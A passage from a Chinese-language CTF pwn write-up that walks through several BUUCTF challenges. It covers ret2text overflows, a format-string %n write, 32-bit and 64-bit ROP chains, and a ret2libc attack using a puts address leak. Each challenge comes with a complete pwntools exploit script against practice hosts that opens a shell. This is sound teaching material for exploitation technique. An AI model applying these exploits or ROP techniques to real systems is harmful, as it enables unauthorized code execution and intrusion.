诶,有/bin/sh,点进去,Ctrl+x,确定

后门函数找到

直接构造exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",27269)

#定义 payload
payload = b'a' * 136 + p64(0x400596)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

常规,直接得出flag

(注:这里有flag和flag.txt,俩都可以得出flag)

7、第五空间2019 决赛 PWN5(格式化字符串任意写)

题目

做法

开虚拟机,checksec

32位,注意栈保护已经开了

扔进IDA(32位),找到main,F5反编译

一连串代码,先放一边,Shift+F12打开string窗口,看看有啥能用的

有system和/bin/sh,但是都没啥用,这俩都在main里

那就乖乖回到main分析代码吧

看了一下,就是打开一个文件从里面读取随机数(第18行),然后放进一个地址(第19行),然后到下面第26行的 if 表示如果我们输入的密码等于第19行地址里的内容,他就把权限给我们

经典的格式化字符串题目:

看到第23行 printf(&buf);

这里程序直接把用户输入的 buf 作为格式化字符串传给 printf,而不是使用 printf("%s", buf),因此存在格式化字符串漏洞。结合后面程序会将输入的密码与随机数进行比较,我们可以考虑利用格式化字符串漏洞泄露或修改这个随机数,从而通过校验

先nc测试一下,随便输点东西进去,反正都是错的

然后,我们退出,再nc一遍(我们用 这种题目 的 常规做法 做一下)

先测试一下我们输入的值被存放到哪

代码如下(%p/%x输入的个数看情况写,尽可能写多点,不然没到我们输入的值存放的位置就又要重测一次)

(下面的方式都是可以的,自己灵活运用一下吧,然后因为%p可以不用考虑位数区别,尽量用%p来测)

aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
#这些空格,逗号,句号都只是为了让输出结果更易读
#分隔符本身不会影响 printf 函数对格式化说明符的处理,只是在输出时起到分隔不同输出值的作用。
#aaaa可替换成任意其他字符,但是输入的都得一样,方便找到我们输入的值在哪,输入个数需要注意

(注:本题觉得迷惑的移步至下面《补充》)

我们从他返回的aaaa后的0xffd611f8(为第1)起数,到0x61616161(为第10)止——这就是我们输入的值存放的位置(第10位)(aaaa嘛,四个一样的,对应下去四个一样的也就只有0x61616161)

【注:“(nil)” 是一个表示空值的占位符,因此也算一个】

测试完毕,Ctrl+c断开连接,我们开始构造exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",26756)

#定义 payload
payload = p32(0x804C044) + b'%10$n'

#接收
r.recvuntil('your name:')

#发送payload
r.sendline(payload)

#接收
r.recvuntil('your passwd:')

#发送payload
r.sendline(str(4))

#获取靶机交互式终端:
r.interactive()

常规,得出flag——flag{3c562253-d23b-4f60-94c4-f228f4813f40}

补充:

1、格式化字符串的格式化说明符

这里主要讨论 printf 里的格式化字符串用法

%d:用于输出十进制整数

%x:用于输出十六进制整数,字母为小写。它通常按 4 字节整数输出,所以在 32 位程序中比较常用;如果在 64 位程序中用 %x 泄露地址,可能只能看到地址的低 4 字节,看不到完整的高位部分。

%p:用于输出指针的值,通常以十六进制形式显示。

%x%p:在格式化字符串漏洞中,可以用来获取对应位置上存储的十六进制数值,从而查看自己输入的值在参数中的位置

二者的区别是:%x 通常按普通十六进制整数输出,%p 通常按指针地址的形式输出 在本题这种 32 位程序中,用 %x%p 都可以帮助我们观察栈上的数据,判断我们输入的内容位于第几个参数位置

%s:用于输出字符串。

在格式化字符串漏洞中,%s 会把对应参数当作一个地址,然后从这个地址开始读取字符串内容,直到遇到字符串结束符 '\0' 为止 因此 %s 可以用来读取某个地址处的字符串内容,但要注意有零截断:如果读取到的字符串中间包含 '\0',输出会在该位置停止 另外,如果对应参数不是一个合法地址,程序可能会崩溃

%n:不会输出任何内容,而是会把“到目前为止已经输出的字符数量”写入到对应的整数指针参数所指向的内存位置

也就是说,%n 的作用不是读取数据,而是写入数据 如果攻击者能够控制 %n 对应的指针参数,就可以把字符数量写入到指定地址中,从而修改该地址处原来的内容

在本题中,我们利用的就是 %n 的这个特性
程序原本会从文件中读取一个随机数,并把这个随机数保存到某个地址里。后面程序会判断我们输入的密码是否等于这个随机数

在这题的格式化字符串漏洞中我们输入的密码就是字符数量——把原来从文件里抽取的那个 随机数(已经存放到地址里的)改了,因此我们只要输入字符数量就可以满足下面的if语句)

%a$b:表示对栈上第 a 个参数进行 b 对应的格式化操作

a 是一个整数,表示栈上参数的位置索引(从 1 开始计数)

b是其他的格式化说明符(如xsd 等)可以对栈上第n个参数进行相应占位符的操作

2、测试需要用几个字符

本题是 32 位程序,而一个字节是8位,一个字母是一个字节,因此输入几个字母就一目了然了

(其他位的程序同理)

测试方法

代码如下(自己看着来输入,不是一下子全输进去的)

python3 
from pwn import *
print(len(p32(0x804C044)))
# 这里括号里的数不一定非要是程序里的地址,  
# 只要是在 p32() 能打包的 32 位范围内即可。  
# 这里只是为了测试 len(p32(...)) 的长度,结果为 4。

注:0x804C044是main函数中把抽取的随机数传入的对应地址

也可以双击进去

3、利用格式化字符串漏洞绕过随机数验证的原理

格式化字符串漏洞可以让攻击者通过构造特定的输入,实现信息泄露和任意内存写入。攻击者可以利用这个漏洞达成以下目的:

1. 泄露随机数的值

攻击者可以通过构造包含格式化说明符(如 %x)的输入,让 printf 函数输出栈上的内容,逐步定位并获取存储随机数的内存地址处的值。

例如,攻击者可以输入一系列 %x 说明符,像 AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 等,根据输出结果分析栈上的数据,找到存储随机数的位置并获取其值。

2. 绕过密码验证

一旦攻击者获取了随机数的值,就可以在输入密码时,将这个值输入进去,从而通过 atoi(&nptr) == unk_804C044 的验证,执行 system("/bin/sh"); 打开一个 shell。

4、exp的逻辑

payload在”your name:“打印出来时输入进去的结果,其实跟上面测试时差不多,就是换了一下而已

这时候会把程序printf回来的aaaa换成0x804C044,栈上第十个参数也变成0x804C044,然后%10$n当前已经输出的字符数量写入到第 10 个参数所指向的地址里

因为这个程序是32位,然后p32(0x804C044) 打包后是 4 个字节,这 4 个字节在 %10$n 前面,会被 printf(&buf) 当作普通字节输出(不一定会在屏幕上显示,但仍会被printf 输出并计数),所以 %n 统计到的输出数量是 4

这样就 OK 了,前面程序保存的随机数已经被我们通过 %10$n 改成了 4。后面程序让我们输入密码时,只需要输入 4 即可。因为程序读取的是字符串,后面会用 atoi 转成整数进行比较,所以 exp 里写成 r.sendline(str(4)),也就是发送字符串形式的 "4"

再讲细点

程序调用的是:

printf(&buf);

不是:

printf("%s", buf);

所以 printf 会把整个 buf 当成格式化字符串来解析。

它解析时有个规则:

普通字符 → 直接输出
遇到 %   → 不再当普通字符,而是当格式化说明符解析

还有,p32() 本身不是发送给程序的内容,它只是脚本里的打包函数。真正进入 buf 的是 p32(0x804C044) 返回的 4 个字节,即 \x44\xc0\x04\x08。这 4 个字节位于 %10$n 前面,会被 printf 当作普通字节处理,所以执行到 %10$n 时,已经输出的字符数量是 4

注意:

printf("Hello,");  
printf(&buf);

这里我们可以看出,我们输入的东西是跟Hello,是没关系的,所以前面的Hello,是不关%n的事的

注:

有时候我们也会根据十六进制数的位数来判断它最少需要多少 bit 或字节来表示: 1 个十六进制位 = 4 bit = 半字节 2 个十六进制位 = 8 bit = 1 字节

(1)如果你只是看一个十六进制数字本身,比如:

0x1
0x22
0x1234

问它最少需要多少 bit / 字节表示,那用第一种。

(2)如果它是:

函数地址
变量地址
GOT 表地址
返回地址
栈上的指针
payload 里用 p32 / p64 打包的地址
%n 要写入的目标地址

那用第二种,看程序是 32 位还是 64 位。

因此,这题我们用第二种

8、jarvisoj_level2(32位ROP,read栈溢出)

题目

做法

开虚拟机,checksec

32位,没开栈保护

扔进IDA(32位),找到main,F5反编译

调用了一个函数vulnerable_function,其他没啥用,点进去

也是没啥用,点进buf看下

完整代码,buf对应第9行buf

-00000088 ; D/A/*   : change type (data/ascii/array)
-00000088 ; N       : rename
-00000088 ; U       : undefine
-00000088 ; Use data definition commands to create local variables and function arguments.
-00000088 ; Two special fields " r" and " s" represent return address and saved registers.
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
-00000088 ;
-00000088
-00000088 buf             db ?
-00000087                 db ? ; undefined
-00000086                 db ? ; undefined
-00000085                 db ? ; undefined
-00000084                 db ? ; undefined
-00000083                 db ? ; undefined
-00000082                 db ? ; undefined
-00000081                 db ? ; undefined
-00000080                 db ? ; undefined
-0000007F                 db ? ; undefined
-0000007E                 db ? ; undefined
-0000007D                 db ? ; undefined
-0000007C                 db ? ; undefined
-0000007B                 db ? ; undefined
-0000007A                 db ? ; undefined
-00000079                 db ? ; undefined
-00000078                 db ? ; undefined
-00000077                 db ? ; undefined
-00000076                 db ? ; undefined
-00000075                 db ? ; undefined
-00000074                 db ? ; undefined
-00000073                 db ? ; undefined
-00000072                 db ? ; undefined
-00000071                 db ? ; undefined
-00000070                 db ? ; undefined
-0000006F                 db ? ; undefined
-0000006E                 db ? ; undefined
-0000006D                 db ? ; undefined
-0000006C                 db ? ; undefined
-0000006B                 db ? ; undefined
-0000006A                 db ? ; undefined
-00000069                 db ? ; undefined
-00000068                 db ? ; undefined
-00000067                 db ? ; undefined
-00000066                 db ? ; undefined
-00000065                 db ? ; undefined
-00000064                 db ? ; undefined
-00000063                 db ? ; undefined
-00000062                 db ? ; undefined
-00000061                 db ? ; undefined
-00000060                 db ? ; undefined
-0000005F                 db ? ; undefined
-0000005E                 db ? ; undefined
-0000005D                 db ? ; undefined
-0000005C                 db ? ; undefined
-0000005B                 db ? ; undefined
-0000005A                 db ? ; undefined
-00000059                 db ? ; undefined
-00000058                 db ? ; undefined
-00000057                 db ? ; undefined
-00000056                 db ? ; undefined
-00000055                 db ? ; undefined
-00000054                 db ? ; undefined
-00000053                 db ? ; undefined
-00000052                 db ? ; undefined
-00000051                 db ? ; undefined
-00000050                 db ? ; undefined
-0000004F                 db ? ; undefined
-0000004E                 db ? ; undefined
-0000004D                 db ? ; undefined
-0000004C                 db ? ; undefined
-0000004B                 db ? ; undefined
-0000004A                 db ? ; undefined
-00000049                 db ? ; undefined
-00000048                 db ? ; undefined
-00000047                 db ? ; undefined
-00000046                 db ? ; undefined
-00000045                 db ? ; undefined
-00000044                 db ? ; undefined
-00000043                 db ? ; undefined
-00000042                 db ? ; undefined
-00000041                 db ? ; undefined
-00000040                 db ? ; undefined
-0000003F                 db ? ; undefined
-0000003E                 db ? ; undefined
-0000003D                 db ? ; undefined
-0000003C                 db ? ; undefined
-0000003B                 db ? ; undefined
-0000003A                 db ? ; undefined
-00000039                 db ? ; undefined
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

栈溢出,我们先数一下offset=8* 16+8+4=140

然后我们Shift+F12寻找后门函数

这里有system和/bin/sh

我们点进去看看能不能找到被谁调用了,但是最后空手而归,没能找到后门函数

但是有system(左边函数列表的那个.plt,不是Shift+F12弹出来的字符串)和/bin/sh,我们可以尝试构建ROP链

exp如下(不懂看《补充》)

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29044)

#定义 payload
payload = b'a' * 140 + p32(0x8048320) + p32(0) + p32(0x804A024)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

常规,得出flag

补充

为什么没有现成的后门函数 backdoor(),还能执行 system("/bin/sh")

因为后门函数只是别人提前帮你写好的组合,没有后门函数时,我们可以自己把这个组合拼出来

程序里有两个零件:

system 函数
"/bin/sh" 字符串

那我们就自己把它们拼起来,让程序执行:

system("/bin/sh");

32 位程序里,函数返回时会执行:

ret

ret 的意思是:

从栈顶取 4 字节,放进 EIP
然后 CPU 跳到这个地址执行

所以如果我们把返回地址覆盖成 system 的地址:

返回地址 → system 地址

函数返回时,程序就会跳到 system 执行。

但是 system 还需要参数

system 的用法是:

system("/bin/sh");

它需要一个参数,也就是字符串 "/bin/sh" 的地址。

这题是 32 位程序,32 位里函数参数一般放在栈上。

正常调用:

system("/bin/sh");

进入 system 时,栈大概应该长这样:

system 返回地址
"/bin/sh" 的地址

所以我们构造 payload 时,要把栈摆成这样:

system 地址
system 返回地址
"/bin/sh" 字符串地址

为什么中间要有 p32(0)

因为 system 也是函数,它执行完也要返回。

所以它需要一个返回地址。

进入 system 后,它看到的栈应该是:

返回地址
第一个参数

所以 payload 里必须有:

system 地址
system 返回地址
system 参数

如果你少写中间的 p32(0)

payload = b'a' * 140 + p32(system_addr) + p32(binsh_addr)

那进入 system 后,binsh_addr 会被当成返回地址,而不是参数。

所以中间的:

p32(0)

只是占位,意思是:

system 执行完后返回到哪里。

我们主要目的是拿 shell,所以这里一般填 也可以。

在 ELF 程序里,system 是 libc 里的函数,不一定真的完整存在于当前程序内部。

当前程序里通常只有一个跳板,叫:

system@plt

PLT 可以理解成:

程序里用来跳到外部库函数的中转站。

比如程序想调用 libc 里的 system,它不是直接写 libc 真实地址,而是先调用自己程序里的:

system@plt

然后 system@plt 再通过 GOT / 动态链接机制跳到真正的 libc system

所以:

system@plt 是一小段可执行代码
它的作用是跳到真正的 system

为什么不能用字符串里的 system

因为你在 IDA 或 strings 里看到的 "system" 可能只是一个字符串。

比如内存里可能有:

"system"

它实际内容是:

73 79 73 74 65 6d 00s  y  s  t  e  m  \0

这只是字符数据,不是代码。

如果你把返回地址改成字符串 "system" 的地址,CPU 会跳到那几个字符那里,把字符字节当机器指令执行,大概率直接崩溃。

所以要分清:

system@plt 地址 → 是代码地址,可以跳过去执行"system" 
字符串地址 → 是数据地址,不能当函数执行

那为什么 /bin/sh 字符串地址可以用?

因为 /bin/sh 不是拿来执行的。

它是拿来当参数的。

system 需要的参数是:

const char *command

也就是一个字符串地址。

所以 /bin/sh 的地址可以放在参数位置:

p32(0x804A024)

意思是告诉 system

你的参数字符串在 0x804A024

而不是让 CPU 跳到 /bin/sh 执行。

所以:

system@plt 地址:放在返回地址位置,用来执行
/bin/sh 地址:放在参数位置,传给 system

9、ciscn_2019_n_8(栈上数据覆盖)

题目

做法

开虚拟机checksec

32位,保护开了一堆,但是我们先别慌

扔进IDA(32位),找到main,F5反编译

这里的关键判断是 *(_QWORD *)&var[13] == 17LL

var[13] 表示 var 数组的第 14 个元素,因为数组下标从 0 开始,所以它前面有 var[0]var[12] 共 13 个元素。这里 IDA 中 var 被识别为 _DWORD / int 类型数组,每个元素占 4 字节,因此要先填充 13 * 4 = 52 字节,才能到达 var[13] 的位置

_QWORD 表示 8 字节,所以程序会从 var[13] 的位置开始,连续取 8 字节当作一个 64 位整数来和 17LL 比较。因此后面要接 p64(17),把整数 17 按 8 字节写进去

17LL 里的 LL 不是数据内容的一部分,它只是 C 语言里的整数类型后缀

意思是:

把数字 17 当作 long long 类型来处理。

long long 通常是 8 字节 / 64 位

所以它和前面的:

*(_QWORD *)&var[13]

是对应的。

_QWORD 是 8 字节,17LL 也是 8 字节整数常量。程序的意思就是:

从 var[13] 开始取 8 字节,判断这个 8 字节整数是不是 17

(注:qword全称是Quad Word。2个字节就是1个字(Word)(16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是一个Word(2字节) 的四倍,8字节)

exp(仔细看上面这几行分析)

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29647)

#定义 payload
payload = b'a' * 13 * 4 + p64(17) 
#32位是4个字节,64位是8个字节(详看本分类[第五空间2019 决赛]PWN5 1(格式化字符串)的补充2、测试需要用几个字符)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

常规,得出flag

10、bjdctf_2020_babystack(read栈溢出)

题目

做法

开虚拟机checksec

64位,没开栈保护

扔进IDA(64位),找到main,F5反编译

没啥东西,点进buf看看(同时注意第8行的nbytes,下面要用到)

栈溢出吗?不管了,先数为敬,offset=16-4+8(dq=8)+8-4=24

buf 读入的数据长度由 nbytes 控制。程序一开始通过 LODWORD(nbytes) = 0nbytes 初始化为 0,如果不先给它赋值,后面的 read(0, &buf, nbytes) 就相当于 read(0, &buf, 0),不会读入我们的 payload

之后程序用 scanf("%d", &nbytes) 让我们输入一个数字,这里我们在终端输入的虽然是字符串形式的数字,比如 "50",但因为格式是 %d,所以 scanf 会把它解析成整数 50,并存到 nbytes 这个变量里

这样后面的:

read(0, &buf, (unsigned int)nbytes);

就相当于:

read(0, &buf, 50);

也就是说,程序会从标准输入读取最多 50 字节,并从 buf 所在的位置开始写入

所以我们可以先输入一个较大的数,比如 50,让后面的 read 读取 50 字节

由于 buf 到返回地址只有 24 字节,输入超过 24 字节后就会覆盖返回地址,从而造成栈溢出

需要注意的是,nbytes 只是控制 read 最多读取多少字节,它不是存放 payload 的地方,真正接收我们第二次输入内容的是 buf

虽然 nbytes 的位置在 buf 后面,溢出过程中可能会被 payload 覆盖掉,但这不影响当前这次 read。因为在调用 read 时,nbytes 的值已经作为第三个参数传进去了,比如已经变成了 read(0, &buf, 50)

所以这题的利用流程是:

第一次输入:输入 50,控制 nbytes,让 read 能读取足够长的数据
第二次输入:输入真正的 payload,从 buf 开始溢出并覆盖返回地址

然后找找后门函数

Shift+F12,看看有啥东西可用

一个system,一个/bin/sh

system点进去没东西

/bin/sh点进去,发现后门函数

exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29658)

#给nbytes赋值(给值相对大点,太小不行,至少给offset和其原本就有的数据预留点位置)
r.sendline('50')

#定义 payload
payload = b'a' * 24 + p64(0x4006E6)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

常规,得出flag

11、ciscn_2019_c_1(libc地址泄露,64位ROP,gets栈溢出)

题目

做法

开虚拟机checksec

64位,没开栈保护

扔进IDA(64位),找到main,F5反编译

注:这张图的begin()括起来的东西可以不用看,有时候里面是没有东西的,不要因此影响判断,他的功能只是打印菜单罢了

简单看了一下 main 函数逻辑,真正有用的分支是输入 1,这时 v4 = 1,程序会进入 encrypt() 函数。输入 2 只是打印一句提示然后重新回到菜单,输入 3 则直接退出,所以这两个分支暂时没有可利用的点,重点看 encrypt()

一些可能不懂的点:

while (1) 的意思是死循环,条件永远为真

如果没有遇到 breakreturn 这类跳出语句,程序执行完内层 while 里的代码,到达内层 while 的右大括号 } 后,就会回到这个内层 while 的开头重新执行

getchar() 的作用是:

从标准输入里读取 1 个字符

它通常是用来吃掉回车换行符 \n

下面是encrypt函数的页面

只是因为在人群中多看了你一眼——熟悉的gets函数!栈溢出吗?先点进去数数

5*16+8=88(注:dw是2字节)

然后出来继续分析

这里又看到了一个函数 strlen()strlen 的作用是计算字符串的长度,它会从字符串起始位置开始统计字符个数,直到遇到字符串结束符 '\0' 为止,并且这个 '\0' 本身不计入长度 (注意v0 = (unsigned int)x哦,就是说他最小也就是0,因此我们不需要知道他是多少,我们直接把\0塞进buf第一位,然后他前面没东西读,就返回0了)

然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让 strlen(buf) 返回 0,从而跳过后面的加密循环

然后就没啥信息了,Shift+F12看看有啥可利用的

很可惜,我们没有找到有用的东西,怎么办呢

我们可以利用一个程序已经执行过的函数去泄露它的真实地址,然后推测出他的libc版本,再计算出的libc基地址,最后计算出system和/bin/sh的地址,看到这俩熟悉的函数,我们自然而然就想到ROP链了

本题不懂的可以看补充

这个文件是64位的,因此我们需要利用ROPgadget来得出该文件的pop rdi地址

代码如下

ROPgadget --binary 文件  --only "pop|ret" | grep "rdi"(|后面的是筛选,不要|及后面的内容会弹出很多地址)

另外,我们的exp还要使用ret指令地址解决栈对齐问题,因此,我们在原有的基础上去掉( | grep “rdi”),即可获得其他地址,上面可以当做补充

那么,我们该怎么选这个程序已经执行过的函数呢?可以通过下列条件进行筛选

选择依据

1. 函数的存在性和稳定性

要确保选择的函数在目标程序里是必然存在的,并且在不同的运行环境下(如不同的输入、不同的运行次数)都会被执行。比如标准库函数,它们在大多数程序中都会被链接和使用,像 putsprintf 等。

2. 函数调用的可触发性

该函数的调用要能够被轻易触发,也就是说,你要可以通过控制程序的输入或者执行流程来让这个函数被调用。例如,在存在缓冲区溢出漏洞的程序中,你可以通过构造合适的输入来覆盖返回地址,从而劫持程序流程并调用目标函数。

3. 函数地址的可泄露性

函数的调用要能够以某种方式把自身的地址信息泄露出来。常见的做法是利用格式化字符串漏洞,让函数的返回地址或者 GOT(Global Offset Table,全局偏移表)表项的值被输出到程序的输出中。

4. 函数的关联性

选择的函数最好和程序中的其他关键部分(如 libc 库)有紧密的关联。这样,一旦泄露了这个函数的地址,就可以根据这个地址计算出其他函数或者数据结构在内存中的地址,进而实现进一步的利用。

回到IDA,我们要看的是encrypt函数,因为main函数只是输入123选择进入的函数,没啥作用的,真正起作用的还是encrypt函数,可以自行nc测试一下

这里,我们看到puts函数非常符合上述条件,就决定是你了!!!

最后,我们再nc测试一下,方便我们写exp

至此,我们编写exp

代码如下

#导入所需模块
from pwn import*
from LibcSearcher import*

# 设置日志级别为 debug(要测试下面要r.recvline()多少次时可以去掉#观察)
# context.log_level = 'debug'

#与靶机连接 
r=remote('node5.buuoj.cn',29683)

#获取ELF文件信息
elf=ELF('/home/ljy/Desktop/Desktop/ciscn_2019_c_1' )

#所需地址
main = 0x400B28         #IDA左边函数窗口自行获取
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#在大多数处理未开启 PIE 的 ELF 格式可执行文件的漏洞利用脚本中
#使用 elf.plt['puts'] 和 elf.got['puts'] 来
#获取 puts 函数的 PLT 地址和 GOT 地址是固定且通用的写法,但在特殊情况下可能需要进行调整。

#合适位置进入Encrypt函数 
r.sendlineafter('Input your choice!\n','1')

#构建payload
payload = b'\0'+b'a'*(5*16+8-1) #减一是因为前面输入了\0,让strlen(buf) 返回 0,从而跳过加密逻辑,避免 ROP 链被破坏
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

#合适位置发送payload
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)

#接收无用信息并舍弃
r.recvline()
r.recvline()

# 接收并解析泄露出来的 puts 真实地址
puts_addr=u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))

#打印puts函数地址
print(hex(puts_addr))
#使用hex()函数来打印puts_addr,主要是为了以十六进制的格式输出地址,要进制统一

# 根据泄露出来的 puts 真实地址,查找/匹配可能的 libc 版本
libc = LibcSearcher('puts',puts_addr)

# 计算 libc 基地址
libc_base = puts_addr - libc.dump('puts')

# libc.dump('xxx') 返回的是 xxx 在 libc 文件中的偏移,不是真实运行地址

# 计算 "/bin/sh" 字符串地址和 system 函数地址
binsh = libc_base+libc.dump('str_bin_sh')
system = libc_base+libc.dump('system')

#合适位置进入Encrypt函数
r.sendlineafter('Input your choice!\n','1')

#构建payload
payload = b'\0'+b'a'*(5*16+8-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)

#合适位置发送payload
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)

#与靶机进行交互
r.interactive()

常规,得出flag

(注:这里有0和1供你选择,俩都试试,这里我试的0可以,1不行)

补充

1、ROP链payload构造

为什么 64 位 ROP 里要找 pop rdi; ret

因为这题是 64 位程序,而 64 位 Linux 下函数传参方式和 32 位不同

在 32 位程序里,函数参数一般放在栈上,所以构造 system("/bin/sh")

payload 可以写成:

payload = padding + p32(system_addr) + p32(fake_ret) + p32(binsh_addr)

也就是:

system 地址
system 返回地址
"/bin/sh" 字符串地址

为什么32位需要返回地址,64位程序不用?

返回地址是函数调用时为了“函数执行完后知道回到哪里继续执行”而放在栈上的;

32 位程序中,函数参数通常也放在栈上,所以 ret2system 时要在栈上伪造出 system 调用时需要的结构,也就是 system 地址 + system 返回地址 + 参数地址。其中中间的返回地址只是给 system 执行完后返回用的占位。

64 位程序中,第一个参数通常不是从栈上取,而是从 rdi 寄存器里取,所以需要先用 pop rdi; ret/bin/sh 的地址放进 rdi,再跳到 system 执行。程序代码本身一般不在栈上,而是在 .text 段;栈上主要存放局部变量、saved rbp/ebp、返回地址以及函数调用相关的数据 但严格来说,system 执行完以后还是会 ret,它也会需要返回地址。只是 CTF 里我们拿到 shell 后,一般不关心 system 返回以后程序去哪了。想更稳可以在后面接一个 exit 地址:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(exit_addr)

好了,让我们回到64位程序ROP的payload讲解

其中第一个参数放在:

rdi

所以如果我们想执行:

system("/bin/sh");

就需要让程序满足:

rdi = "/bin/sh" 字符串地址
rip = system 函数地址

也就是说,不能像 32 位那样直接把 /bin/sh 地址放在 system 后面,因为 64 位的 system 不会从那里取第一个参数

我们需要先把 /bin/sh 的地址放进 rdi,然后再跳转到 system

这时就要用到一个 gadget:

pop rdi ; ret

它的作用是:

pop rdi  → 从当前栈顶取出8字节数据,放进 `rdi` 寄存器,然后让 `rsp` 往后移动 8 字节

ret      → 从当前栈顶取出 8 字节数据,放进 `rip`,然后 CPU 跳到这个地址继续执行。

所以 pop rdi; ret 合起来是什么意思?

pop rdi
ret

合起来就是:

先从栈顶取 8 字节放进 rdi
再从新的栈顶取 8 字节放进 rip,让程序跳过去执行(以本题举例,跳到 `system` 以后,`system` 会按照 64 位调用约定,从 `rdi` 里取第一个参数)

所以 64 位 ROP 的 payload 通常是:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

执行流程可以这样理解:

程序返回时执行 ret
→ 跳到 pop rdi ; ret

pop rdi
→ 把栈上的 binsh_addr 弹进 rdi

ret→ 跳到 system_addr

此时:
rdi = binsh_addr
rip = system_addr

详细一点,就是:

函数返回时,先执行原函数的 ret

ret 会从栈顶拿 8 字节放进 rip,然后让程序跳过去执行

rip = pop_rdi_ret
rsp 往后移动 8 字节

于是程序跳到:

pop rdi
ret

此时栈变成:

rsp →  /bin/sh 字符串地址       
        system@plt 地址

然后执行:

pop rdi

pop rdi 会从当前栈顶拿 8 字节,放进 rdi

rdi = /bin/sh 字符串地址
rsp 往后移动 8 字节

这时候栈变成:

rsp →  system@plt 地址

接着执行 gadget 里的:

ret

这个 ret 又会从当前栈顶拿 8 字节放进 rip

rip = system@plt

于是程序跳到 system@plt 执行。

此时寄存器状态正好是:

rdi = /bin/sh 字符串地址
rip = system@plt

所以效果就是:

system("/bin/sh");

为什么要用 ROPgadget?

因为我们需要在程序里找到类似这样的指令片段:

pop rdi ; ret

这个片段不一定是程序员主动写出来的,而是二进制程序中已有指令组合出来的 gadget

所以我们可以用 ROPgadget 来查找:

ROPgadget --binary 文件地址 | grep "pop rdi"

找到后会得到类似:

0x0000000000400xxx : pop rdi ; ret

这个地址就可以放进 payload 里。


为什么 64 位里地址要用 p64()

因为 64 位程序中地址是 8 字节。
函数返回时执行 ret,会从栈顶取 8 字节放进 RIP

所以 64 位里要用:

p64(addr)

而不是:

p32(addr)

32 位是:

ret 取 4 字节 → 放进 EIP

64 位是:

ret 取 8 字节 → 放进 RIP

system 地址用哪个?

如果程序里有 system@plt,也可以使用 system@plt 的地址。

system@plt 可以理解成程序中调用 libc system 函数的跳板,它是一段可执行代码,可以作为跳转目标。

但是在很多 64 位 ret2libc 题里,程序本身不一定直接有 system@plt,或者我们需要先泄露 libc 地址,再计算 libc 中真正的 system 地址。

这时一般流程是:

1. 泄露某个 libc 函数地址,比如 puts
2. 根据 libc 偏移算出 libc 基地址
3. 计算 system 地址
4. 计算 "/bin/sh" 字符串地址
5. 构造第二次 ROP,执行 system("/bin/sh")

也就是:

libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

然后 payload:

payload = padding
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

为什么不能用字符串里的 "system"

因为字符串 "system" 只是普通数据,不是函数代码。

它在内存中可能只是:

73 79 73 74 65 6d 00s  y  s  t  e  m  \0

